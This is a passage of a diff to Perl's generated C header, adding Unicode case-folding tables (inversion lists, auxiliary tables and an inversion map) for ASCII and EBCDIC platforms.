+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xFB05,
+	0xFB06,
+	0xFB07,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	IVCF_0 = 0,
+	IVCF_use_AUX_TABLE_1 = -1,
+	IVCF_use_AUX_TABLE_2 = -2,
+	IVCF_use_AUX_TABLE_3 = -3,
+	IVCF_use_AUX_TABLE_4 = -4,
+	IVCF_use_AUX_TABLE_5 = -5,
+	IVCF_use_AUX_TABLE_6 = -6,
+	IVCF_use_AUX_TABLE_7 = -7,
+	IVCF_use_AUX_TABLE_8 = -8,
+	IVCF_use_AUX_TABLE_9 = -9,
+	IVCF_use_AUX_TABLE_10 = -10,
+	IVCF_use_AUX_TABLE_11 = -11,
+	IVCF_use_AUX_TABLE_12 = -12,
+	IVCF_use_AUX_TABLE_13 = -13,
+	IVCF_use_AUX_TABLE_14 = -14,
+	IVCF_use_AUX_TABLE_15 = -15,
+	IVCF_use_AUX_TABLE_16 = -16,
+	IVCF_use_AUX_TABLE_17 = -17,
+	IVCF_use_AUX_TABLE_18 = -18,
+	IVCF_use_AUX_TABLE_19 = -19,
+	IVCF_use_AUX_TABLE_20 = -20,
+	IVCF_use_AUX_TABLE_21 = -21,
+	IVCF_use_AUX_TABLE_22 = -22,
+	IVCF_use_AUX_TABLE_23 = -23,
+	IVCF_use_AUX_TABLE_24 = -24,
+	IVCF_use_AUX_TABLE_25 = -25,
+	IVCF_use_AUX_TABLE_26 = -26,
+	IVCF_use_AUX_TABLE_27 = -27
+} IVCF_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#define HAS_IVCF_AUX_TABLES
+
+static const unsigned int IVCF_AUX_TABLE_1[] = {
+	0x4B,
+	0x212A
+};
+
+static const unsigned int IVCF_AUX_TABLE_2[] = {
+	0x53,
+	0x17F
+};
+
+static const unsigned int IVCF_AUX_TABLE_3[] = {
+	0xC5,
+	0x212B
+};
+
+static const unsigned int IVCF_AUX_TABLE_4[] = {
+	0x1C4,
+	0x1C5
+};
+
+static const unsigned int IVCF_AUX_TABLE_5[] = {
+	0x1C7,
+	0x1C8
+};
+
+static const unsigned int IVCF_AUX_TABLE_6[] = {
+	0x1CA,
+	0x1CB
+};
+
+static const unsigned int IVCF_AUX_TABLE_7[] = {
+	0x1F1,
+	0x1F2
+};
+
+static const unsigned int IVCF_AUX_TABLE_8[] = {
+	0x392,
+	0x3D0
+};
+
+static const unsigned int IVCF_AUX_TABLE_9[] = {
+	0x395,
+	0x3F5
+};
+
+static const unsigned int IVCF_AUX_TABLE_10[] = {
+	0x398,
+	0x3D1,
+	0x3F4
+};
+
+static const unsigned int IVCF_AUX_TABLE_11[] = {
+	0x345,
+	0x399,
+	0x1FBE
+};
+
+static const unsigned int IVCF_AUX_TABLE_12[] = {
+	0x39A,
+	0x3F0
+};
+
+static const unsigned int IVCF_AUX_TABLE_13[] = {
+	0xB5,
+	0x39C
+};
+
+static const unsigned int IVCF_AUX_TABLE_14[] = {
+	0x3A0,
+	0x3D6
+};
+
+static const unsigned int IVCF_AUX_TABLE_15[] = {
+	0x3A1,
+	0x3F1
+};
+
+static const unsigned int IVCF_AUX_TABLE_16[] = {
+	0x3A3,
+	0x3C2
+};
+
+static const unsigned int IVCF_AUX_TABLE_17[] = {
+	0x3A6,
+	0x3D5
+};
+
+static const unsigned int IVCF_AUX_TABLE_18[] = {
+	0x3A9,
+	0x2126
+};
+
+static const unsigned int IVCF_AUX_TABLE_19[] = {
+	0x412,
+	0x1C80
+};
+
+static const unsigned int IVCF_AUX_TABLE_20[] = {
+	0x414,
+	0x1C81
+};
+
+static const unsigned int IVCF_AUX_TABLE_21[] = {
+	0x41E,
+	0x1C82
+};
+
+static const unsigned int IVCF_AUX_TABLE_22[] = {
+	0x421,
+	0x1C83
+};
+
+static const unsigned int IVCF_AUX_TABLE_23[] = {
+	0x422,
+	0x1C84,
+	0x1C85
+};
+
+static const unsigned int IVCF_AUX_TABLE_24[] = {
+	0x42A,
+	0x1C86
+};
+
+static const unsigned int IVCF_AUX_TABLE_25[] = {
+	0x462,
+	0x1C87
+};
+
+static const unsigned int IVCF_AUX_TABLE_26[] = {
+	0x1E60,
+	0x1E9B
+};
+
+static const unsigned int IVCF_AUX_TABLE_27[] = {
+	0x1C88,
+	0xA64A
+};
+
+static const unsigned int * const IVCF_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	IVCF_AUX_TABLE_1,
+	IVCF_AUX_TABLE_2,
+	IVCF_AUX_TABLE_3,
+	IVCF_AUX_TABLE_4,
+	IVCF_AUX_TABLE_5,
+	IVCF_AUX_TABLE_6,
+	IVCF_AUX_TABLE_7,
+	IVCF_AUX_TABLE_8,
+	IVCF_AUX_TABLE_9,
+	IVCF_AUX_TABLE_10,
+	IVCF_AUX_TABLE_11,
+	IVCF_AUX_TABLE_12,
+	IVCF_AUX_TABLE_13,
+	IVCF_AUX_TABLE_14,
+	IVCF_AUX_TABLE_15,
+	IVCF_AUX_TABLE_16,
+	IVCF_AUX_TABLE_17,
+	IVCF_AUX_TABLE_18,
+	IVCF_AUX_TABLE_19,
+	IVCF_AUX_TABLE_20,
+	IVCF_AUX_TABLE_21,
+	IVCF_AUX_TABLE_22,
+	IVCF_AUX_TABLE_23,
+	IVCF_AUX_TABLE_24,
+	IVCF_AUX_TABLE_25,
+	IVCF_AUX_TABLE_26,
+	IVCF_AUX_TABLE_27
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 IVCF_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* IVCF_AUX_TABLE_1 */,
+	2	/* IVCF_AUX_TABLE_2 */,
+	2	/* IVCF_AUX_TABLE_3 */,
+	2	/* IVCF_AUX_TABLE_4 */,
+	2	/* IVCF_AUX_TABLE_5 */,
+	2	/* IVCF_AUX_TABLE_6 */,
+	2	/* IVCF_AUX_TABLE_7 */,
+	2	/* IVCF_AUX_TABLE_8 */,
+	2	/* IVCF_AUX_TABLE_9 */,
+	3	/* IVCF_AUX_TABLE_10 */,
+	3	/* IVCF_AUX_TABLE_11 */,
+	2	/* IVCF_AUX_TABLE_12 */,
+	2	/* IVCF_AUX_TABLE_13 */,
+	2	/* IVCF_AUX_TABLE_14 */,
+	2	/* IVCF_AUX_TABLE_15 */,
+	2	/* IVCF_AUX_TABLE_16 */,
+	2	/* IVCF_AUX_TABLE_17 */,
+	2	/* IVCF_AUX_TABLE_18 */,
+	2	/* IVCF_AUX_TABLE_19 */,
+	2	/* IVCF_AUX_TABLE_20 */,
+	2	/* IVCF_AUX_TABLE_21 */,
+	2	/* IVCF_AUX_TABLE_22 */,
+	3	/* IVCF_AUX_TABLE_23 */,
+	2	/* IVCF_AUX_TABLE_24 */,
+	2	/* IVCF_AUX_TABLE_25 */,
+	2	/* IVCF_AUX_TABLE_26 */,
+	2	/* IVCF_AUX_TABLE_27 */
+};
+
+static const int _Perl_IVCF_invmap[] = { /* for ASCII/Latin1 */
+	0,
+	0x41,
+	IVCF_use_AUX_TABLE_1,
+	0x4C,
+	IVCF_use_AUX_TABLE_2,
+	0x54,
+	0,
+	0x1E9E,
+	0xC0,
+	IVCF_use_AUX_TABLE_3,
+	0xC6,
+	0,
+	0xD8,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	IVCF_use_AUX_TABLE_4,
+	0,
+	IVCF_use_AUX_TABLE_5,
+	0,
+	IVCF_use_AUX_TABLE_6,
+	0,
+	0x1CD,
+	0,
+	0x1CF,
+	0,
+	0x1D1,
+	0,
+	0x1D3,
+	0,
+	0x1D5,
+	0,
+	0x1D7,
+	0,
+	0x1D9,
+	0,
+	0x1DB,
+	0x18E,
+	0,
+	0x1DE,
+	0,
+	0x1E0,
+	0,
+	0x1E2,
+	0,
+	0x1E4,
+	0,
+	0x1E6,
+	0,
+	0x1E8,
+	0,
+	0x1EA,
+	0,
+	0x1EC,
+	0,
+	0x1EE,
+	0,
+	IVCF_use_AUX_TABLE_7,
+	0,
+	0x1F4,
+	0,
+	0x1F8,
+	0,
+	0x1FA,
+	0,
+	0x1FC,
+	0,
+	0x1FE,
+	0,
+	0x200,
+	0,
+	0x202,
+	0,
+	0x204,
+	0,
+	0x206,
+	0,
+	0x208,
+	0,
+	0x20A,
+	0,
+	0x20C,
+	0,
+	0x20E,
+	0,
+	0x210,
+	0,
+	0x212,
+	0,
+	0x214,
+	0,
+	0x216,
+	0,
+	0x218,
+	0,
+	0x21A,
+	0,
+	0x21C,
+	0,
+	0x21E,
+	0,
+	0x222,
+	0,
+	0x224,
+	0,
+	0x226,
+	0,
+	0x228,
+	0,
+	0x22A,
+	0,
+	0x22C,
+	0,
+	0x22E,
+	0,
+	0x230,
+	0,
+	0x232,
+	0,
+	0x23B,
+	0,
+	0x2C7E,
+	0,
+	0x241,
+	0,
+	0x246,
+	0,
+	0x248,
+	0,
+	0x24A,
+	0,
+	0x24C,
+	0,
+	0x24E,
+	0x2C6F,
+	0x2C6D,
+	0x2C70,
+	0x181,
+	0x186,
+	0,
+	0x189,
+	0,
+	0x18F,
+	0,
+	0x190,
+	0xA7AB,
+	0,
+	0x193,
+	0xA7AC,
+	0,
+	0x194,
+	0,
+	0xA78D,
+	0xA7AA,
+	0,
+	0x197,
+	0x196,
+	0xA7AE,
+	0x2C62,
+	0xA7AD,
+	0,
+	0x19C,
+	0,
+	0x2C6E,
+	0x19D,
+	0,
+	0x19F,
+	0,
+	0x2C64,
+	0,
+	0x1A6,
+	0,
+	0x1A9,
+	0,
+	0xA7B1,
+	0x1AE,
+	0x244,
+	0x1B1,
+	0x245,
+	0,
+	0x1B7,
+	0,
+	0xA7B2,
+	0xA7B0,
+	0,
+	0x370,
+	0,
+	0x372,
+	0,
+	0x376,
+	0,
+	0x3FD,
+	0,
+	0x1FD3,
+	0,
+	0x386,
+	0x388,
+	0x1FE3,
+	0x391,
+	IVCF_use_AUX_TABLE_8,
+	0x393,
+	IVCF_use_AUX_TABLE_9,
+	0x396,
+	IVCF_use_AUX_TABLE_10,
+	IVCF_use_AUX_TABLE_11,
+	IVCF_use_AUX_TABLE_12,
+	0x39B,
+	IVCF_use_AUX_TABLE_13,
+	0x39D,
+	IVCF_use_AUX_TABLE_14,
+	IVCF_use_AUX_TABLE_15,
+	0,
+	IVCF_use_AUX_TABLE_16,
+	0x3A4,
+	IVCF_use_AUX_TABLE_17,
+	0x3A7,
+	IVCF_use_AUX_TABLE_18,
+	0x3AA,
+	0x38C,
+	0x38E,
+	0,
+	0x3CF,
+	0,
+	0x3D8,
+	0,
+	0x3DA,
+	0,
+	0x3DC,
+	0,
+	0x3DE,
+	0,
+	0x3E0,
+	0,
+	0x3E2,
+	0,
+	0x3E4,
+	0,
+	0x3E6,
+	0,
+	0x3E8,
+	0,
+	0x3EA,
+	0,
+	0x3EC,
+	0,
+	0x3EE,
+	0,
+	0x3F9,
+	0x37F,
+	0,
+	0x3F7,
+	0,
+	0x3FA,
+	0,
+	0x410,
+	IVCF_use_AUX_TABLE_19,
+	0x413,
+	IVCF_use_AUX_TABLE_20,
+	0x415,
+	IVCF_use_AUX_TABLE_21,
+	0x41F,
+	IVCF_use_AUX_TABLE_22,
+	IVCF_use_AUX_TABLE_23,
+	0x423,
+	IVCF_use_AUX_TABLE_24,
+	0x42B,
+	0x400,
+	0,
+	0x460,
+	0,
+	IVCF_use_AUX_TABLE_25,
+	0,
+	0x464,
+	0,
+	0x466,
+	0,
+	0x468,
+	0,
+	0x46A,
+	0,
+	0x46C,
+	0,
+	0x46E,
+	0,
+	0x470,
+	0,
+	0x472,
+	0,
+	0x474,
+	0,
+	0x476,
+	0,
+	0x478,
+	0,
+	0x47A,
+	0,
+	0x47C,
+	0,
+	0x47E,
+	0,
+	0x480,
+	0,
+	0x48A,
+	0,
+	0x48C,
+	0,
+	0x48E,
+	0,
+	0x490,
+	0,
+	0x492,
+	0,
+	0x494,
+	0,
+	0x496,
+	0,
+	0x498,
+	0,
+	0x49A,
+	0,
+	0x49C,
+	0,
+	0x49E,
+	0,
+	0x4A0,
+	0,
+	0x4A2,
+	0,
+	0x4A4,
+	0,
+	0x4A6,
+	0,
+	0x4A8,
+	0,
+	0x4AA,
+	0,
+	0x4AC,
+	0,
+	0x4AE,
+	0,
+	0x4B0,
+	0,
+	0x4B2,
+	0,
+	0x4B4,
+	0,
+	0x4B6,
+	0,
+	0x4B8,
+	0,
+	0x4BA,
+	0,
+	0x4BC,
+	0,
+	0x4BE,
+	0,
+	0x4C1,
+	0,
+	0x4C3,
+	0,
+	0x4C5,
+	0,
+	0x4C7,
+	0,
+	0x4C9,
+	0,
+	0x4CB,
+	0,
+	0x4CD,
+	0x4C0,
+	0,
+	0x4D0,
+	0,
+	0x4D2,
+	0,
+	0x4D4,
+	0,
+	0x4D6,
+	0,
+	0x4D8,
+	0,
+	0x4DA,
+	0,
+	0x4DC,
+	0,
+	0x4DE,
+	0,
+	0x4E0,
+	0,
+	0x4E2,
+	0,
+	0x4E4,
+	0,
+	0x4E6,
+	0,
+	0x4E8,
+	0,
+	0x4EA,
+	0,
+	0x4EC,
+	0,
+	0x4EE,
+	0,
+	0x4F0,
+	0,
+	0x4F2,
+	0,
+	0x4F4,
+	0,
+	0x4F6,
+	0,
+	0x4F8,
+	0,
+	0x4FA,
+	0,
+	0x4FC,
+	0,
+	0x4FE,
+	0,
+	0x500,
+	0,
+	0x502,
+	0,
+	0x504,
+	0,
+	0x506,
+	0,
+	0x508,
+	0,
+	0x50A,
+	0,
+	0x50C,
+	0,
+	0x50E,
+	0,
+	0x510,
+	0,
+	0x512,
+	0,
+	0x514,
+	0,
+	0x516,
+	0,
+	0x518,
+	0,
+	0x51A,
+	0,
+	0x51C,
+	0,
+	0x51E,
+	0,
+	0x520,
+	0,
+	0x522,
+	0,
+	0x524,
+	0,
+	0x526,
+	0,
+	0x528,
+	0,
+	0x52A,
+	0,
+	0x52C,
+	0,
+	0x52E,
+	0,
+	0x531,
+	0,
+	0xAB70,
+	0x13F8,
+	0,
+	0xA77D,
+	0,
+	0x2C63,
+	0,
+	0x1E00,
+	0,
+	0x1E02,
+	0,
+	0x1E04,
+	0,
+	0x1E06,
+	0,
+	0x1E08,
+	0,
+	0x1E0A,
+	0,
+	0x1E0C,
+	0,
+	0x1E0E,
+	0,
+	0x1E10,
+	0,
+	0x1E12,
+	0,
+	0x1E14,
+	0,
+	0x1E16,
+	0,
+	0x1E18,
+	0,
+	0x1E1A,
+	0,
+	0x1E1C,
+	0,
+	0x1E1E,
+	0,
+	0x1E20,
+	0,
+	0x1E22,
+	0,
+	0x1E24,
+	0,
+	0x1E26,
+	0,
+	0x1E28,
+	0,
+	0x1E2A,
+	0,
+	0x1E2C,
+	0,
+	0x1E2E,
+	0,
+	0x1E30,
+	0,
+	0x1E32,
+	0,
+	0x1E34,
+	0,
+	0x1E36,
+	0,
+	0x1E38,
+	0,
+	0x1E3A,
+	0,
+	0x1E3C,
+	0,
+	0x1E3E,
+	0,
+	0x1E40,
+	0,
+	0x1E42,
+	0,
+	0x1E44,
+	0,
+	0x1E46,
+	0,
+	0x1E48,
+	0,
+	0x1E4A,
+	0,
+	0x1E4C,
+	0,
+	0x1E4E,
+	0,
+	0x1E50,
+	0,
+	0x1E52,
+	0,
+	0x1E54,
+	0,
+	0x1E56,
+	0,
+	0x1E58,
+	0,
+	0x1E5A,
+	0,
+	0x1E5C,
+	0,
+	0x1E5E,
+	0,
+	IVCF_use_AUX_TABLE_26,
+	0,
+	0x1E62,
+	0,
+	0x1E64,
+	0,
+	0x1E66,
+	0,
+	0x1E68,
+	0,
+	0x1E6A,
+	0,
+	0x1E6C,
+	0,
+	0x1E6E,
+	0,
+	0x1E70,
+	0,
+	0x1E72,
+	0,
+	0x1E74,
+	0,
+	0x1E76,
+	0,
+	0x1E78,
+	0,
+	0x1E7A,
+	0,
+	0x1E7C,
+	0,
+	0x1E7E,
+	0,
+	0x1E80,
+	0,
+	0x1E82,
+	0,
+	0x1E84,
+	0,
+	0x1E86,
+	0,
+	0x1E88,
+	0,
+	0x1E8A,
+	0,
+	0x1E8C,
+	0,
+	0x1E8E,
+	0,
+	0x1E90,
+	0,
+	0x1E92,
+	0,
+	0x1E94,
+	0,
+	0xDF,
+	0,
+	0x1EA0,
+	0,
+	0x1EA2,
+	0,
+	0x1EA4,
+	0,
+	0x1EA6,
+	0,
+	0x1EA8,
+	0,
+	0x1EAA,
+	0,
+	0x1EAC,
+	0,
+	0x1EAE,
+	0,
+	0x1EB0,
+	0,
+	0x1EB2,
+	0,
+	0x1EB4,
+	0,
+	0x1EB6,
+	0,
+	0x1EB8,
+	0,
+	0x1EBA,
+	0,
+	0x1EBC,
+	0,
+	0x1EBE,
+	0,
+	0x1EC0,
+	0,
+	0x1EC2,
+	0,
+	0x1EC4,
+	0,
+	0x1EC6,
+	0,
+	0x1EC8,
+	0,
+	0x1ECA,
+	0,
+	0x1ECC,
+	0,
+	0x1ECE,
+	0,
+	0x1ED0,
+	0,
+	0x1ED2,
+	0,
+	0x1ED4,
+	0,
+	0x1ED6,
+	0,
+	0x1ED8,
+	0,
+	0x1EDA,
+	0,
+	0x1EDC,
+	0,
+	0x1EDE,
+	0,
+	0x1EE0,
+	0,
+	0x1EE2,
+	0,
+	0x1EE4,
+	0,
+	0x1EE6,
+	0,
+	0x1EE8,
+	0,
+	0x1EEA,
+	0,
+	0x1EEC,
+	0,
+	0x1EEE,
+	0,
+	0x1EF0,
+	0,
+	0x1EF2,
+	0,
+	0x1EF4,
+	0,
+	0x1EF6,
+	0,
+	0x1EF8,
+	0,
+	0x1EFA,
+	0,
+	0x1EFC,
+	0,
+	0x1EFE,
+	0x1F08,
+	0,
+	0x1F18,
+	0,
+	0x1F28,
+	0,
+	0x1F38,
+	0,
+	0x1F48,
+	0,
+	0x1F59,
+	0,
+	0x1F5B,
+	0,
+	0x1F5D,
+	0,
+	0x1F5F,
+	0,
+	0x1F68,
+	0,
+	0x1FBA,
+	0x1FC8,
+	0x1FDA,
+	0x1FF8,
+	0x1FEA,
+	0x1FFA,
+	0,
+	0x1F88,
+	0x1F80,
+	0x1F98,
+	0x1F90,
+	0x1FA8,
+	0x1FA0,
+	0x1FB8,
+	0,
+	0x1FBC,
+	0,
+	0x1FB3,
+	0,
+	0x1FCC,
+	0,
+	0x1FC3,
+	0,
+	0x1FD8,
+	0,
+	0x390,
+	0,
+	0x1FE8,
+	0,
+	0x3B0,
+	0,
+	0x1FEC,
+	0,
+	0x1FFC,
+	0,
+	0x1FF3,
+	0,
+	0x2132,
+	0,
+	0x2160,
+	0,
+	0x2183,
+	0,
+	0x24B6,
+	0,
+	0x2C00,
+	0,
+	0x2C60,
+	0,
+	0x23A,
+	0x23E,
+	0,
+	0x2C67,
+	0,
+	0x2C69,
+	0,
+	0x2C6B,
+	0,
+	0x2C72,
+	0,
+	0x2C75,
+	0,
+	0x2C80,
+	0,
+	0x2C82,
+	0,
+	0x2C84,
+	0,
+	0x2C86,
+	0,
+	0x2C88,
+	0,
+	0x2C8A,
+	0,
+	0x2C8C,
+	0,
+	0x2C8E,
+	0,
+	0x2C90,
+	0,
+	0x2C92,
+	0,
+	0x2C94,
+	0,
+	0x2C96,
+	0,
+	0x2C98,
+	0,
+	0x2C9A,
+	0,
+	0x2C9C,
+	0,
+	0x2C9E,
+	0,
+	0x2CA0,
+	0,
+	0x2CA2,
+	0,
+	0x2CA4,
+	0,
+	0x2CA6,
+	0,
+	0x2CA8,
+	0,
+	0x2CAA,
+	0,
+	0x2CAC,
+	0,
+	0x2CAE,
+	0,
+	0x2CB0,
+	0,
+	0x2CB2,
+	0,
+	0x2CB4,
+	0,
+	0x2CB6,
+	0,
+	0x2CB8,
+	0,
+	0x2CBA,
+	0,
+	0x2CBC,
+	0,
+	0x2CBE,
+	0,
+	0x2CC0,
+	0,
+	0x2CC2,
+	0,
+	0x2CC4,
+	0,
+	0x2CC6,
+	0,
+	0x2CC8,
+	0,
+	0x2CCA,
+	0,
+	0x2CCC,
+	0,
+	0x2CCE,
+	0,
+	0x2CD0,
+	0,
+	0x2CD2,
+	0,
+	0x2CD4,
+	0,
+	0x2CD6,
+	0,
+	0x2CD8,
+	0,
+	0x2CDA,
+	0,
+	0x2CDC,
+	0,
+	0x2CDE,
+	0,
+	0x2CE0,
+	0,
+	0x2CE2,
+	0,
+	0x2CEB,
+	0,
+	0x2CED,
+	0,
+	0x2CF2,
+	0,
+	0x10A0,
+	0,
+	0x10C7,
+	0,
+	0x10CD,
+	0,
+	0xA640,
+	0,
+	0xA642,
+	0,
+	0xA644,
+	0,
+	0xA646,
+	0,
+	0xA648,
+	0,
+	IVCF_use_AUX_TABLE_27,
+	0,
+	0xA64C,
+	0,
+	0xA64E,
+	0,
+	0xA650,
+	0,
+	0xA652,
+	0,
+	0xA654,
+	0,
+	0xA656,
+	0,
+	0xA658,
+	0,
+	0xA65A,
+	0,
+	0xA65C,
+	0,
+	0xA65E,
+	0,
+	0xA660,
+	0,
+	0xA662,
+	0,
+	0xA664,
+	0,
+	0xA666,
+	0,
+	0xA668,
+	0,
+	0xA66A,
+	0,
+	0xA66C,
+	0,
+	0xA680,
+	0,
+	0xA682,
+	0,
+	0xA684,
+	0,
+	0xA686,
+	0,
+	0xA688,
+	0,
+	0xA68A,
+	0,
+	0xA68C,
+	0,
+	0xA68E,
+	0,
+	0xA690,
+	0,
+	0xA692,
+	0,
+	0xA694,
+	0,
+	0xA696,
+	0,
+	0xA698,
+	0,
+	0xA69A,
+	0,
+	0xA722,
+	0,
+	0xA724,
+	0,
+	0xA726,
+	0,
+	0xA728,
+	0,
+	0xA72A,
+	0,
+	0xA72C,
+	0,
+	0xA72E,
+	0,
+	0xA732,
+	0,
+	0xA734,
+	0,
+	0xA736,
+	0,
+	0xA738,
+	0,
+	0xA73A,
+	0,
+	0xA73C,
+	0,
+	0xA73E,
+	0,
+	0xA740,
+	0,
+	0xA742,
+	0,
+	0xA744,
+	0,
+	0xA746,
+	0,
+	0xA748,
+	0,
+	0xA74A,
+	0,
+	0xA74C,
+	0,
+	0xA74E,
+	0,
+	0xA750,
+	0,
+	0xA752,
+	0,
+	0xA754,
+	0,
+	0xA756,
+	0,
+	0xA758,
+	0,
+	0xA75A,
+	0,
+	0xA75C,
+	0,
+	0xA75E,
+	0,
+	0xA760,
+	0,
+	0xA762,
+	0,
+	0xA764,
+	0,
+	0xA766,
+	0,
+	0xA768,
+	0,
+	0xA76A,
+	0,
+	0xA76C,
+	0,
+	0xA76E,
+	0,
+	0xA779,
+	0,
+	0xA77B,
+	0,
+	0xA77E,
+	0,
+	0xA780,
+	0,
+	0xA782,
+	0,
+	0xA784,
+	0,
+	0xA786,
+	0,
+	0xA78B,
+	0,
+	0xA790,
+	0,
+	0xA792,
+	0,
+	0xA796,
+	0,
+	0xA798,
+	0,
+	0xA79A,
+	0,
+	0xA79C,
+	0,
+	0xA79E,
+	0,
+	0xA7A0,
+	0,
+	0xA7A2,
+	0,
+	0xA7A4,
+	0,
+	0xA7A6,
+	0,
+	0xA7A8,
+	0,
+	0xA7B4,
+	0,
+	0xA7B6,
+	0,
+	0xA7B3,
+	0,
+	0xFB06,
+	0xFB05,
+	0,
+	0xFF21,
+	0,
+	0x10400,
+	0,
+	0x104B0,
+	0,
+	0x10C80,
+	0,
+	0x118A0,
+	0,
+	0x1E900
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV _Perl_IVCF_invlist[] = { /* for EBCDIC 1047 */
+	1303,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	0,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x42,
+	0x47,
+	0x48,
+	0x4A,
+	0x51,
+	0x59,
+	0x5A,
+	0x70,
+	0x71,
+	0x81,
+	0x8A,
+	0x8C,
+	0x8D,
+	0x8F,
+	0x91,
+	0x92,
+	0x93,
+	0x9A,
+	0x9C,
+	0x9D,
+	0xA2,
+	0xA3,
 	0xAA,
-	0xAB,
+	0xCB,
+	0xD0,
